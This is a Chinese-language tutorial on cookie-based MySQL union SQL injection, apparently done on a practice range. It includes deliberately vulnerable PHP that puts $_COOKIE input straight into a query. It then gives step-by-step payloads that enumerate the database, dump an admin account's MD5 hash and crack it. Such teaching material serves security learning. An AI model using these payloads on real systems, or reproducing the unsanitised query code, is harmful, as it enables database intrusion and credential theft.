mysql cookie联合注入


mysql cookie联合注入

1. 前置知识

  • cookie简介
    • Cookie 是个存储在浏览器本地的一种文本文件,它主要是用来解决http协议的无状态问题。由网络服务器发送出来以存储在浏览器上,当那个网络服务器再次访问时,可从该浏览器读回此信息。
  • cookie注入的原理(这里以php代码讲解)
    • 如你所看,其实所谓的cookie注入,与GET和POST注入的原理在本质是一样的,只是服务器端接收payload代码的方式不一样而已,
      • cookie注入的话,服务器端是由 $_COOKIE 全局变量来接收cookie值(即:我们的payload代码)的。
      • GET注入的话,服务器端是由 $_GET 全局变量来接收cookie值(即:我们的payload代码)的。
      • POST注入的话,服务器端是由 $_POST 全局变量来接收cookie值(即:我们的payload代码)的。
    • cookie注入产生的条件:
      1. 没有对由 $_COOKIE 全局变量传递的参数做过滤。
      2. 由$_COOKIE全局变量传递的参数作为了sql语句中的一部分
    //$username=$_GET['user'];//接受GET传递的参数名x的值并赋值给变量id
    //$username=$_POST['user'];//接受POST传递的参数名x的值并赋值给变量id
    $username=$_COOKIE['user'];//接受cookie传递的参数名x的值并赋值给变量id
    $conn=mysql_connect('127.0.0.1','root','root');//连接数据库并赋值连接请求给变量conn 
    mysql_select_db("mydata",$conn);//选择连接请求conn下的数据库mydata
    $sql="select * from users where username='$username'";//接受的变量id组合sql语句
    $result=mysql_query($sql);//执行sql命令并返回结果给变量result 
    while($row=mysql_fetch_array($result)){//将结果进行显示
        echo"用户ID∶".$row['id']."
    "; echo"用户名∶".$row['username']."
    "; echo"密 码∶".$row['password']."
    "; } mysql_close($conn);//关闭数据库连接 echo "当前执行的sq语句∶".$sql;//输出sql命令
  • 在下面的实战演示中,为了方便设置cookie的值,我使用了火狐的一个插件:cookie editor

2. 注入流程

  1. 判断注入点
  2. 判断当前注入点的字段数
  3. 确定显示位
  4. 查询当前登录用户
  5. 查询当前数据库版本信息
  6. 查询当前数据库名
  7. 查询存在多少表名
  8. 查询表名
  9. 查询字段数量
  10. 查询字段名
  11. 查询账号与密码

3. 注入演示

3.1 判断注入点

  • payload:
    CNY  --页面返回正常
    CNY" --页面返回出错
    
    • 说明存在注入点,且为字符型注入

3.2 判断当前注入点的字段数

  • payload:
    CNY" order by 6 %23 --页面返回正常
    CNY" order by 7 %23 --页面返回失败
    
    • 说明当前注入点的字段数为 6

3.3 确定显示位

  • payload:
    CNY" and 1=2 union select 1,2,3,4,5,6 %23
    
    • 3号位为显示位

3.4 查询当前登录用户

  • payload:
    CNY" and 1=2 union select 1,2,user(),4,5,6 %23
    
    • 当前登录的用户和主机为: test@localhost

3.5 查询当前数据库版本信息

  • payload:
    CNY" and 1=2 union select 1,2,version(),4,5,6 %23
    
    • 当前数据库的版本信息为:5.0.51b-community-nt-log

3.6 查询当前数据库名

  • payload:
    CNY" and 1=2 union select 1,2,database(),4,5,6 %23
    
    • 当前数据库名为:shopex

3.7 查询存在多少表名

  • payload:
    CNY"and 1=2 union select 1,2,count(*),4,5,6 from information_schema.tables where table_schema='shopex' %23
    
    • 可当前数据库存在103张表!!!

3.8 查询表名

  • payload:
    CNY"and 1=2 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema='shopex' %23
    
    • 我们发现这里的表名并没有显示完全,我也不清楚这是怎么回事,按道理不应该这样,可能是靶场的问题吧。当然,如果实在是没办法的话,可以使用 limit 子句慢慢的筛选。。。
    • 这里我就直接说了,我们所需的表名为:sdb_operators

3.9 查询字段数量

  • payload:
    CNY"and 1=2 union select 1,2,count(*),4,5,6 from information_schema.columns where table_name='sdb_operators' %23
    
    • sdb_operators表的字段数量为:15

3.10 查询字段名

  • payload:
    CNY"and 1=2 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='sdb_operators' %23
    
    • 经分析可知,我们所需的字段名为:username,userpass

3.11 查询账号与密码

  • payload:
    CNY"and 1=2 union select 1,2,username,4,5,6 from sdb_operators %23
    CNY"and 1=2 union select 1,2,userpass,4,5,6 from sdb_operators %23
    
    • 账号密码:admin/e10adc3949ba59abbe56e057f20f883e
    • 经MD5解密:admin/123456